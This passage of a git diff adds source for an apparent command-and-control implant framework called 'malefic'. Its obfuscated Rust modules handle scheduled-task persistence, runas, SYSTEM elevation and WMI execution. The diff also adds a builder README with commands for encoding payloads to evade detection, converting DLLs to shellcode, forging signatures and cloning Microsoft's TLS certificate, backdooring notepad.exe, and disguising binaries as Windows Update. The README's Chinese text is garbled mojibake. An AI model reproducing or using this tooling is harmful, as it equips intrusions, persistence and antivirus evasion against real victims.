&display_name, + &executable_path, + start_type, + error_control, + Some(&*account_name), + )?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/taskschd.rs b/malefic-modules/src/sys/taskschd.rs new file mode 100644 index 0000000..e66ed63 --- /dev/null +++ b/malefic-modules/src/sys/taskschd.rs @@ -0,0 +1,180 @@ +use std::time::Duration; + +use crate::prelude::*; +use malefic_os_win::scheduler::{TaskConfig, TaskSchedulerManager, TaskTriggerType}; +use malefic_proto::proto::modulepb::TaskSchedule; + +pub fn task_schedule_to_proto(schedule: &malefic_os_win::scheduler::TaskSchedule) -> TaskSchedule { + TaskSchedule { + name: schedule.config.name.clone(), + path: schedule.config.path.clone(), + executable_path: schedule + .config + .executable_path + .to_string_lossy() + .to_string(), + trigger_type: schedule.config.trigger_type.to_int(), + start_boundary: schedule.config.start_boundary.clone(), + description: schedule.config.description.clone(), + enabled: schedule.status.enabled, + last_run_time: schedule.status.last_run_time.clone().unwrap_or_default(), + next_run_time: schedule.status.next_run_time.clone().unwrap_or_default(), + } +} + +pub struct TaskSchdList {} + +#[async_trait] +#[module_impl("taskschd_list")] +impl Module for TaskSchdList {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdList { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let _ = check_request!(_receiver, Body::Request)?; + let manager = TaskSchedulerManager::initialize()?; + + let tasks = manager.list_tasks("\\")?; // Assuming root folder + + let mut resp = malefic_proto::proto::modulepb::TaskSchedulesResponse::default(); + for task in tasks { + resp.schedules.push(task_schedule_to_proto(&task)); + } + + Ok(TaskResult::new_with_body(id, Body::SchedulesResponse(resp))) + } +} + +pub struct TaskSchdCreate {} + +#[async_trait] +#[module_impl("taskschd_create")] +impl Module for TaskSchdCreate {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdCreate { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + + let executable_path = check_field!(req.executable_path)?; + let path = check_field!(req.path)?; + + let manager = TaskSchedulerManager::initialize()?; + let config = TaskConfig { + name: check_field!(req.name)?, + path, + description: req.description.clone(), + executable_path: executable_path.into(), + trigger_type: TaskTriggerType::from_int(req.trigger_type)?, + duration: Duration::from_secs(0), + start_boundary: req.start_boundary.clone(), + enabled: true, + }; + + manager.create_task(config)?; + Ok(TaskResult::new(id)) + } +} + +pub struct TaskSchdStart {} + +#[async_trait] +#[module_impl("taskschd_start")] +impl Module for TaskSchdStart {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdStart { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + let manager = TaskSchedulerManager::initialize()?; + let task_name = check_field!(req.name)?; + let path = check_field!(req.path)?; + manager.start_task(&path, &task_name)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct TaskSchdStop {} + +#[async_trait] +#[module_impl("taskschd_stop")] +impl Module for TaskSchdStop {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdStop { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + + let manager = TaskSchedulerManager::initialize()?; + let task_name = check_field!(req.name)?; + let path = check_field!(req.path)?; + manager.stop_task(&path, &task_name)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct TaskSchdDelete {} + +#[async_trait] +#[module_impl("taskschd_delete")] +impl Module for TaskSchdDelete {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdDelete { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + + let manager = TaskSchedulerManager::initialize()?; + let task_name = check_field!(req.name)?; + let path = check_field!(req.path)?; + manager.delete_task(&path, &task_name)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct TaskSchdQuery {} + +#[async_trait] +#[module_impl("taskschd_query")] +impl Module for TaskSchdQuery {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdQuery { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + + let task_name = check_field!(req.name)?; + let path = check_field!(req.path)?; + let manager = TaskSchedulerManager::initialize()?; + + let task_schedule = manager.query_task(&path, &task_name)?; + + let resp = task_schedule_to_proto(&task_schedule); + + Ok(TaskResult::new_with_body(id, Body::ScheduleResponse(resp))) + } +} + +pub struct TaskSchdRun {} + +#[async_trait] +#[module_impl("taskschd_run")] +impl Module for TaskSchdRun {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for TaskSchdRun { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ScheduleRequest)?; + + let manager = TaskSchedulerManager::initialize()?; + let task_name = check_field!(req.name)?; + let path = check_field!(req.path)?; + manager.run_task(&path, &task_name)?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/thread_spawn_test.rs b/malefic-modules/src/sys/thread_spawn_test.rs new file mode 100644 index 0000000..04a0d36 --- /dev/null +++ b/malefic-modules/src/sys/thread_spawn_test.rs @@ -0,0 +1,51 @@ +use crate::prelude::*; + +pub struct ThreadSpawnTest {} + +#[async_trait] +#[module_impl("thread_spawn_test")] +impl Module for ThreadSpawnTest {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ThreadSpawnTest { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + + let mut response = Response::default(); + + // Spawn a std::thread inside the PE-loaded DLL — this is the + // scenario that triggers the TLS thread_info assertion: + // "assertion failed: thread_info.stack_guard.get().is_none() + // && thread_info.thread.get().is_none()" + let handle = std::thread::spawn(|| { + let mut result = String::new(); + result.push_str("thread_id="); + result.push_str(&format!("{:?}", std::thread::current().id())); + result.push_str(" cwd="); + result.push_str( + &std::env::current_dir() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|e| format!("err:{}", e)), + ); + result + }); + + match handle.join() { + Ok(output) => { + response.output = output; + } + Err(e) => { + response.output = format!("thread panic: {:?}", e); + } + } + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/sys/token.rs b/malefic-modules/src/sys/token.rs new file mode 100644 index 0000000..244a540 --- /dev/null +++ b/malefic-modules/src/sys/token.rs @@ -0,0 +1,92 @@ +use crate::prelude::*; +use malefic_proto::proto::implantpb::spite::Body::ExecResponse; + +pub struct RunAs {} + +#[async_trait] +#[module_impl("runas")] +impl Module for RunAs {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for RunAs { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RunasRequest)?; + + let username = check_field!(req.username)?; + let domain = check_field!(req.domain)?; + let password = check_field!(req.password)?; + let program = check_field!(req.program)?; + let args = check_field!(req.args)?; + + let mut exec_response = malefic_proto::proto::modulepb::ExecResponse::default(); + exec_response.stdout = malefic_os_win::token::run_as( + &username, + &domain, + &password, + &program, + &args, + req.netonly, + req.use_profile, + req.use_env, + )? + .into_bytes(); + Ok(TaskResult::new_with_body(id, ExecResponse(exec_response))) + } +} + +pub struct Rev2Self {} + +#[async_trait] +#[module_impl("rev2self")] +impl Module for Rev2Self {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Rev2Self { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + malefic_os_win::token::revert_to_self()?; + Ok(TaskResult::new(id)) + } +} + +pub struct GetPriv {} + +#[async_trait] +#[module_impl("privs")] +impl Module for GetPriv {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for GetPriv { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let privileges = malefic_os_win::token::get_privs()?; + + let mut response = malefic_proto::proto::modulepb::Response::default(); + + for (name, display_name) in privileges { + response.kv.insert(name, display_name); + } + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} + +pub struct GetSystem {} + +#[async_trait] +#[module_impl("getsystem")] +impl Module for GetSystem {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for GetSystem { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + // Attempt to elevate to SYSTEM privileges + let _system_token = malefic_os_win::token::get_system()?; + + let mut response = malefic_proto::proto::modulepb::Response::default(); + response.output = "Successfully elevated to SYSTEM privileges".to_string(); + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/sys/whoami.rs b/malefic-modules/src/sys/whoami.rs new file mode 100644 index 0000000..6e70439 --- /dev/null +++ b/malefic-modules/src/sys/whoami.rs @@ -0,0 +1,24 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb::Response; + +pub struct Whoami {} + +#[async_trait] +#[module_impl("whoami")] +impl Module for Whoami {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Whoami { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + let mut response = Response::default(); + response.output = malefic_sysinfo::username(); + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/sys/wmi.rs b/malefic-modules/src/sys/wmi.rs new file mode 100644 index 0000000..cd3300b --- /dev/null +++ b/malefic-modules/src/sys/wmi.rs @@ -0,0 +1,193 @@ +use std::collections::HashMap; + +use async_trait::async_trait; +use malefic_os_win::wmi::exec::WmiExecParam; +use malefic_os_win::wmi::{COMLibrary, Variant, WMIConnection, WMIError}; + +use crate::prelude::*; + +fn string_to_variant_map(input: HashMap) -> HashMap { + input + .into_iter() + .map(|(key, value)| { + let variant_value = if let Ok(int_value) = value.parse::() { + Variant::I4(int_value) + } else if let Ok(float_value) = value.parse::() { + Variant::R8(float_value) + } else { + Variant::String(value) + }; + (key, variant_value) + }) + .collect() +} + +fn variant_to_string_map(input: HashMap) -> HashMap { + input + .into_iter() + .map(|(key, value)| { + let string_value = match value { + Variant::I4(i) => i.to_string(), + Variant::UI4(u) => u.to_string(), + Variant::R8(f) => f.to_string(), + Variant::String(s) => s, + Variant::Bool(b) => b.to_string(), + Variant::Null => "null".to_string(), + _ => { + format!("{:?}", value) + } + }; + (key, string_value) + }) + .collect() +} + +struct WmiManager { + wmi_con: WMIConnection, +} + +#[obfuscate] +impl WmiManager { + fn open(namespace: Option<&str>) -> Result { + let com_con = COMLibrary::new()?; + let namespace = namespace.unwrap_or("ROOT").to_string(); + let wmi_con = WMIConnection::with_namespace_path(&namespace, com_con)?; + + Ok(WmiManager { wmi_con }) + } + + fn execute_query(&self, query: &str) -> Result>, WMIError> { + let enumerator = self.wmi_con.exec_query_native_wrapper(query)?; + let mut results = Vec::new(); + for item in enumerator { + let obj = match item { + Ok(o) => o, + Err(_) => continue, + }; + let props = match obj.list_properties() { + Ok(p) => p, + Err(_) => continue, + }; + let mut map = HashMap::new(); + for prop in props { + if let Ok(val) = obj.get_property(&prop) { + map.insert(prop, val); + } + } + results.push(map); + } + Ok(results) + } + + fn execute_method( + &self, + class_name: &str, + method_name: &str, + params: HashMap, + ) -> Result>, WMIError> { + let exec_params: Vec = params + .into_iter() + .map(|(key, value)| WmiExecParam { key, value }) + .collect(); + let wrapper = self + .wmi_con + .exec_method(class_name, method_name, &exec_params); + + let mut converted_map = HashMap::new(); + match wrapper { + Ok(Some(obj)) => { + if let Ok(props) = obj.list_properties() { + for prop in props { + if let Ok(val) = obj.get_property(&prop) { + converted_map.insert(prop, val); + } + } + } + } + Ok(None) => { + converted_map.insert(obfstr!("ReturnValue").to_string(), Variant::I4(0)); + } + Err(e) => { + converted_map.insert(obfstr!("ReturnValue").to_string(), Variant::I4(1)); + converted_map.insert( + obfstr!("Error").to_string(), + Variant::String(format!("{:?}", e)), + ); + } + } + Ok(vec![converted_map]) + } +} + +pub struct WmiQuery {} + +#[async_trait] +#[module_impl("wmi_query")] +impl Module for WmiQuery {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for WmiQuery { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::WmiRequest)?; + let cmdline = check_field!(req.args)?.join(" "); + let manager = WmiManager::open(Some(req.namespace.as_str()))?; + let results = manager.execute_query(&*cmdline)?; + let mut kv_result = HashMap::new(); + for record in results { + let string_map = variant_to_string_map(record); + kv_result.extend(string_map); + } + + Ok(TaskResult::new_with_body( + id, + Body::Response(Response { + output: "".to_string(), + error: String::new(), + kv: kv_result, + array: Vec::new(), + }), + )) + } +} + +pub struct WmiExecuteMethod {} + +#[async_trait] +#[module_impl("wmi_execute")] +impl Module for WmiExecuteMethod {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for WmiExecuteMethod { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::WmiMethodRequest)?; + let class_name = check_field!(req.class_name)?; + let method_name = check_field!(req.method_name)?; + + let manager = WmiManager::open(Some(req.namespace.as_str()))?; + let results = manager.execute_method( + class_name.as_str(), + method_name.as_str(), + string_to_variant_map(req.params), + )?; + let mut kv_result = HashMap::new(); + + for record in results { + let string_map = variant_to_string_map(record); + for (key, value) in string_map { + kv_result.insert(key.clone(), value.clone()); + } + } + + Ok(TaskResult::new_with_body( + id, + Body::Response(Response { + output: format!("Executed {}::{}", class_name, method_name), + error: String::new(), + kv: kv_result, + array: Vec::new(), + }), + )) + } +} diff --git a/malefic-mutant/Cargo.toml b/malefic-mutant/Cargo.toml new file mode 100644 index 0000000..5ee790d --- /dev/null +++ b/malefic-mutant/Cargo.toml @@ -0,0 +1,56 @@ +[package] +name = "malefic-mutant" +version = "0.1.1" +edition = "2021" + +[features] +default = [] +source = [] +# Enable to recompile malefic-srdi from source and extract .text shellcode. +# Requires: nightly toolchain + rust-src component. +# Without this feature, pre-built shellcode bytes in shellcode.rs are used. +rebuild_srdi = [] + +[dependencies] +malefic-gateway = { workspace = true } +const-random = { workspace = true } +prost = { workspace = true } +serde = { workspace = true } +serde_yaml = "0.9" +serde_json = "1.0" +jsonschema = { version = "0.26.1", default-features = false } +toml_edit = "0.22.15" +strum = { workspace = true } +strum_macros = { workspace = true } +clap = { version = "4.5.20", features = ["derive"] } +base64 = { workspace = true } +hex = "0.4.3" +anyhow = { workspace = true } +thiserror = { workspace = true } +embed-resource = { workspace = true } +byteorder = { workspace = true } +goblin = "0.8" +log = "0.4" +chrono = { workspace = true } +colored = "2.2.0" +duct = "0.13" +rand = { version = "0.8.5", features = ["small_rng"] } +fake = { version = "4", features = ["derive"] } +walkdir = "2.3.2" +url = { workspace = true } +regex = { workspace = true } +zip = "0.5.13" +syn = { workspace = true, features = ["full", "visit", "visit-mut", "parsing", "printing"] } +quote = { workspace = true } +proc-macro2 = { workspace = true } +crc32fast = "1.3" +rustls = "0.23" +webpki-roots = "0.26" +malefic-proto = { workspace = true, features = ["crypto_aes", "enable_serde"] } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true, features = ["encoder"] } +malefic-codec = { workspace = true, features = ["encoder", "codec_all"] } +malefic-common = { workspace = true } + +[build-dependencies] +goblin = "0.8" diff --git a/malefic-mutant/README.md b/malefic-mutant/README.md new file mode 100644 index 0000000..c301d24 --- /dev/null +++ b/malefic-mutant/README.md @@ -0,0 +1,484 @@ +# Malefic Mutant + +Malefic 生æ€çš„é…置生æˆã€ç¼–译构建与二进制åŽå¤„ç†å·¥å…·é“¾ã€‚æä¾› YAML 驱动的 implant é…置生æˆã€è‡ªåŠ¨åŒ–ç¼–è¯‘ã€12 ç§ payload ç¼–ç æ–¹æ¡ˆï¼Œä»¥åŠä¸°å¯Œçš„ PE æ“作工具集。 + +## æž¶æž„ + +Mutant 采用三级命令结构: + +``` +mutant +├── generate — 从 YAML 生æˆé…置代ç ä¸Ž feature 标记 +├── build — 编译 payloadï¼ˆæ”¯æŒ OLLVM / zigbuild) +└── tool — 二进制åŽå¤„ç†å·¥å…·é›† +``` + +## 快速开始 + +```bash +# 1. 从 implant.yaml ç”Ÿæˆ beacon é…ç½® +cargo run -p malefic-mutant -- generate beacon + +# 2. 编译 beacon +cargo run -p malefic-mutant -- build malefic + +# 3. å¯¹äº§ç‰©è¿›è¡Œç¼–ç  +cargo run -p malefic-mutant -- tool encode -i malefic.exe -e aes -f bin + +# 4. 转æ¢ä¸º shellcode (SRDI) +cargo run -p malefic-mutant -- tool srdi -i malefic.dll -o malefic.bin +``` + +## Generate — é…ç½®ç”Ÿæˆ + +从 `implant.yaml` 读å–é…置,生æˆå„组件所需的 Rust 代ç ä¸Ž Cargo feature 标记。 + +```bash +# 指定é…置文件与版本 +cargo run -p malefic-mutant -- generate -c implant.yaml -v community +``` + +| å­å‘½ä»¤ | 说明 | +|--------|------| +| `beacon` | ç”Ÿæˆ beacon(åå‘连接)é…ç½®ä»£ç  | +| `bind` | ç”Ÿæˆ bind(正å‘监å¬ï¼‰é…ç½®ä»£ç  | +| `prelude` | ç”Ÿæˆ prelude stager é…ç½®ï¼Œå« spite åºåˆ—化 | +| `pulse` | ç”Ÿæˆ pulse listener é…置(HTTP/TCP) | +| `modules -m exec,ls,upload` | æ›´æ–°æ¨¡å— feature 标记 | +| `loader template` | ç”Ÿæˆæ¨¡æ¿ loaderï¼ˆéšæœºæˆ–指定模æ¿ï¼‰ | +| `loader proxydll` | ç”Ÿæˆ ProxyDLL(DLL 劫æŒï¼‰ | +| `loader patch` | PE åŽé—¨æ³¨å…¥ï¼ˆBDF é£Žæ ¼ä»£ç æ´ž / 新增 section) | + +### Patch Mode + +```bash +cargo run -p malefic-mutant -- generate --patch-mode beacon +``` + +å¯ç”¨ `--patch-mode` åŽï¼Œç”Ÿæˆçš„é…ç½®ç¦ç”¨ `obfstr` å¹¶ä¿ç•™ XOR å—,以便åŽç»­ `tool patch` 对编译产物进行字段替æ¢ã€‚ + +## Build — 编译构建 + +```bash +# 默认目标三元组 +cargo run -p malefic-mutant -- build -t x86_64-pc-windows-gnu + +# 编译为 DLL +cargo run -p malefic-mutant -- build --lib malefic +``` + +| å­å‘½ä»¤ | 说明 | +|--------|------| +| `malefic` | 编译主 beacon implant | +| `prelude` | 编译 prelude stager | +| `modules -m exec,ls` | ç¼–è¯‘æŒ‡å®šå†…ç½®æ¨¡å— | +| `3rd -m rem,curl` | ç¼–è¯‘ç¬¬ä¸‰æ–¹æ¨¡å— | +| `pulse` | 编译 pulse listener | +| `proxy-dll` | 编译 ProxyDLL | + +### OLLVM æ··æ·† + +在 `implant.yaml` 中é…置: + +```yaml +build: + ollvm: + enable: true + bcfobf: true # è™šå‡æŽ§åˆ¶æµ + splitobf: true # åŸºæœ¬å—æ‹†åˆ† + subobf: true # æŒ‡ä»¤æ›¿æ¢ + fco: true # 函数调用混淆 + constenc: true # 常é‡åР坆 +``` + +### 元数æ®ä¸Žèµ„æº + +```yaml +build: + metadata: + icon: "resources/app.ico" + company_name: "Microsoft Corporation" + product_name: "Windows Update" + file_description: "Windows Update Service" + file_version: "10.0.19041.1" + original_filename: "wuauserv.exe" + require_admin: false + require_uac: false +``` + +## Tool — 二进制工具集 + +### Encode — Payload ç¼–ç ï¼ˆ12 ç§ï¼‰ + +```bash +# åˆ—å‡ºæ‰€æœ‰ç¼–ç æ–¹æ¡ˆ +cargo run -p malefic-mutant -- tool encode -l + +# AES ç¼–ç ï¼Œè¾“出为 Rust æºç  +cargo run -p malefic-mutant -- tool encode -i payload.bin -e aes -f rust -o encoded + +# 所有格å¼ä¸€æ¬¡æ€§è¾“出 +cargo run -p malefic-mutant -- tool encode -i payload.bin -e chacha -f all +``` + +| ç¼–ç æ–¹æ¡ˆ | 说明 | +|----------|------| +| `xor` | XORï¼ˆéšæœºå¯†é’¥ï¼‰ | +| `rc4` | RC4 æµå¯†ç  | +| `aes` | AES-128 CBC | +| `aes2` | AES å˜ä½“ | +| `des` | DES CBC | +| `chacha` | ChaCha20 | +| `base64` | Base64 | +| `base45` | Base45 | +| `base58` | Base58 | +| `uuid` | UUID æ ¼å¼ç¼–ç  | +| `mac` | MAC åœ°å€æ ¼å¼ç¼–ç  | +| `ipv4` | IPv4 åœ°å€æ ¼å¼ç¼–ç  | + +输出格å¼ï¼š`bin`(二进制)ã€`c`(C 头文件)ã€`rust`(Rust æºç ï¼‰ã€`all`(全部)。 + +### SRDI — åå°„å¼ DLL 注入 + +å°† DLL 转æ¢ä¸ºä½ç½®æ— å…³çš„ shellcode: + +```bash +# Malefic SRDIï¼ˆæ”¯æŒ TLS 回调) +cargo run -p malefic-mutant -- tool srdi -t malefic -i implant.dll -o implant.bin + +# Link SRDI(轻é‡ï¼Œä¸æ”¯æŒ TLS) +cargo run -p malefic-mutant -- tool srdi -t link -i implant.dll -o implant.bin --function-name DllMain + +# é™„å¸¦ç”¨æˆ·æ•°æ® +cargo run -p malefic-mutant -- tool srdi -i implant.dll -o implant.bin --userdata-path config.bin +``` + +### Patch — äºŒè¿›åˆ¶å­—æ®µçƒ­è¡¥ä¸ + +对已编译的 beacon 二进制进行字段替æ¢ï¼Œæ— éœ€é‡æ–°ç¼–译: + +```bash +# æ›¿æ¢ NAME / KEY / SERVER_ADDRESS +cargo run -p malefic-mutant -- tool patch -f malefic.exe --name new_beacon --key new_key --server-address 10.0.0.1:5001 + +# 指定输出路径 +cargo run -p malefic-mutant -- tool patch -f malefic.exe --server-address 10.0.0.1:5001 -o patched.exe +``` + +### Patch-Config — è¿è¡Œæ—¶é…ç½®çƒ­è¡¥ä¸ + +```bash +# 从 RuntimeConfig JSON è¡¥ä¸ +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe -c runtime.json + +# 从 implant.yaml 生æˆå¹¶è¡¥ä¸ +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe --from-implant implant.yaml + +# ç›´æŽ¥ä¼ å…¥é¢„ç¼–ç  blob +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe --blob "Q0ZHdjNCNjQ..." +``` + +### SigForge — PE ç­¾åæ“ä½œ + +```bash +# æå–ç­¾å +cargo run -p malefic-mutant -- tool sigforge extract -i signed.exe -o sig.bin + +# å¤åˆ¶ç­¾å(从已签å PE 到目标 PE) +cargo run -p malefic-mutant -- tool sigforge copy -s signed.exe -t target.exe -o output.exe + +# 注入签å +cargo run -p malefic-mutant -- tool sigforge inject -s sig.bin -t target.exe + +# 移除签å +cargo run -p malefic-mutant -- tool sigforge remove -i target.exe -o unsigned.exe + +# 检查是å¦å·²ç­¾å +cargo run -p malefic-mutant -- tool sigforge check -i target.exe + +# 克隆远程 TLS è¯ä¹¦å¹¶æ³¨å…¥ +cargo run -p malefic-mutant -- tool sigforge carbon-copy --host www.microsoft.com -t target.exe -o output.exe +``` + +### Loader — åŠ è½½å™¨ç”Ÿæˆ + +#### Template Loader + +```bash +# éšæœºé€‰æ‹©æ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -i payload.bin -e aes + +# 列出å¯ç”¨æ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -l + +# æŒ‡å®šæ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -t fiber_exec -i payload.bin + +# å¯ç”¨å­—符串混淆 +cargo run -p malefic-mutant -- generate loader template -t func_ptr -i payload.bin --obf-strings + +# å¯ç”¨å…¨éƒ¨æ··æ·†ï¼ˆå­—符串 + åžƒåœ¾ä»£ç  + 内存清零) +cargo run -p malefic-mutant -- generate loader template -t func_ptr -i payload.bin -e aes --obf-full +``` + +混淆选项: + +| 标志 | 说明 | +|------|------| +| `--obf-strings` | 编译期 AES 字符串加密(DLL åã€API 函数å等) | +| `--obf-full` | 全部混淆:字符串加密 + åžƒåœ¾ä»£ç æ³¨å…¥ + 内存安全清零 | + +#### ProxyDLL Loader + +```bash +# ä»Žå‘½ä»¤è¡ŒæŒ‡å®šå‚æ•° +cargo run -p malefic-mutant -- generate loader proxydll -r version.dll -p version_orig.dll -e GetFileVersionInfoW + +# åŠ«æŒ DllMain +cargo run -p malefic-mutant -- generate loader proxydll -r version.dll -p version_orig.dll --hijack-dll-main +``` + +#### Patch Loader(BDF 风格) + +```bash +# æŸ¥æ‰¾ä»£ç æ´ž +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe --find-caves + +# 注入 shellcode åˆ°ä»£ç æ´ž +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe -i payload.bin -o backdoored.exe + +# 强制新增 section +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe -i payload.bin --add-section --section-name .rsrc2 +``` + +### Entropy — ç†µå€¼ç®¡ç† + +```bash +# æµ‹é‡ Shannon 熵 +cargo run -p malefic-mutant -- tool entropy -i malefic.exe --measure-only + +# é™ä½Žç†µå€¼ï¼ˆnull_bytes 策略,目标 < 6.0) +cargo run -p malefic-mutant -- tool entropy -i malefic.exe -o reduced.exe -t 6.0 -s null_bytes + +# Pokemon ç­–ç•¥ï¼ˆåµŒå…¥éšæœº Pokemon å称) +cargo run -p malefic-mutant -- tool entropy -i malefic.exe -o reduced.exe -s pokemon +``` + +| ç­–ç•¥ | 说明 | +|------|------| +| `null_bytes` | 追加空字节 | +| `pokemon` | 嵌入 Pokemon å称字符串 | +| `random_words` | åµŒå…¥éšæœºè‹±æ–‡å•è¯ | + +### Obfuscate — æºç çº§æ··æ·† + +```bash +# 混淆目录下所有 Rust 文件 +cargo run -p malefic-mutant -- tool obf -i src/ -o obfuscated/ + +# ä»…æ··æ·†å­—ç¬¦ä¸²ï¼Œè·³è¿‡æ•´æ•°å’ŒæŽ§åˆ¶æµ +cargo run -p malefic-mutant -- tool obf -i src/main.rs -o out/ --no-integers --no-flow + +# å¯ç”¨å˜é‡é‡å‘½å,密度 5 +cargo run -p malefic-mutant -- tool obf -i src/ -o out/ --rename -d 5 + +# 50% 字符串加密率 +cargo run -p malefic-mutant -- tool obf -i src/ -o out/ -p 50 +``` + +混淆能力: + +| 功能 | 说明 | +|------|------| +| 字符串加密 | `obfstr!()` å®åŒ…裹字符串字é¢é‡ | +| æ•´æ•°æ··æ·† | `obf_int!()` å®åŒ…裹整数字é¢é‡ | +| æŽ§åˆ¶æµæ··æ·† | `#[junk]` å±žæ€§æ³¨å…¥åžƒåœ¾ä»£ç  | +| å˜é‡é‡å‘½å | 局部å˜é‡ä¸Žå‡½æ•°éšæœºå‘½å | + +### Watermark — PE æ°´å° + +```bash +# å†™å…¥æ°´å° +cargo run -p malefic-mutant -- tool watermark write -i target.exe -o marked.exe -m dosstub -w "TEAM-001" + +# è¯»å–æ°´å° +cargo run -p malefic-mutant -- tool watermark read -i marked.exe -m dosstub -s 8 +``` + +| 方法 | ä½ç½® | +|------|------| +| `checksum` | PE checksum 字段 | +| `dosstub` | DOS stub 区域 | +| `section` | 自定义 section | +| `overlay` | PE overlay 区域 | + +### Binder — PE æ†ç»‘ + +```bash +# å°† payload 嵌入载体 PE +cargo run -p malefic-mutant -- tool binder bind -p carrier.exe -s payload.exe -o bound.exe + +# æå–嵌入的 payload +cargo run -p malefic-mutant -- tool binder extract -i bound.exe -o extracted.exe + +# 检查是å¦åŒ…å«åµŒå…¥å†…容 +cargo run -p malefic-mutant -- tool binder check -i bound.exe +``` + +### Icon — 图标æ“作 + +```bash +# æ›¿æ¢ PE 图标 +cargo run -p malefic-mutant -- tool icon replace -i target.exe --ico new_icon.ico -o output.exe + +# æå– PE 图标 +cargo run -p malefic-mutant -- tool icon extract -i target.exe -o extracted.ico +``` + +### Strip — 路径剥离 + +```bash +# 剥离二进制中的编译路径 +cargo run -p malefic-mutant -- tool strip -i malefic.exe -o stripped.exe + +# é™„åŠ è‡ªå®šä¹‰è·¯å¾„æ¨¡å¼ +cargo run -p malefic-mutant -- tool strip -i malefic.exe -o stripped.exe --custom-paths "/home/user,C:\\build" +``` + +### ObjCopy — 二进制段æå– + +```bash +# æå– .text 段为裸二进制 +cargo run -p malefic-mutant -- tool objcopy -O binary input.o output.bin +``` + +## é…置文件结构 + +`implant.yaml` 核心字段: + +```yaml +basic: + name: "beacon_name" + targets: + - address: "10.0.0.1:5001" + http: # HTTP å议(çœç•¥åˆ™ä¸º TCP) + method: POST + path: /api/v1 + version: "1.1" + headers: + User-Agent: "Mozilla/5.0" + tls: + enable: true + version: "1.3" + sni: "cdn.example.com" + encryption: "aes" + key: "your-encryption-key" + cron: "*/5 * * * * * *" # 回连间隔(cron 表达å¼ï¼‰ + jitter: 0.2 + keepalive: false # å¯åŠ¨åŽæ˜¯å¦ç›´æŽ¥è¿›å…¥ duplex keepalive + retry: 3 + dga: + enable: false + key: "dga_seed" + interval_hours: 2 + guardrail: + enable: false + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + +implants: + runtime: "async" # async / thread + mod: "fork" # fork / dynamic + modules: + - exec_assembly + - execute_shellcode + - ls + - upload + - download + enable_3rd: false + 3rd_modules: [] + apis: + level: "dynamic" + priority: + normal: { enable: true, type: "win32" } + dynamic: { enable: true, type: "lazy" } + syscalls: { enable: false, type: "direct" } + +build: + zigbuild: false + toolchain: "nightly-2023-09-18" + obfstr: true + ollvm: + enable: false + metadata: + icon: "" + company_name: "" + product_name: "" + +loader: + proxydll: + raw_dll: 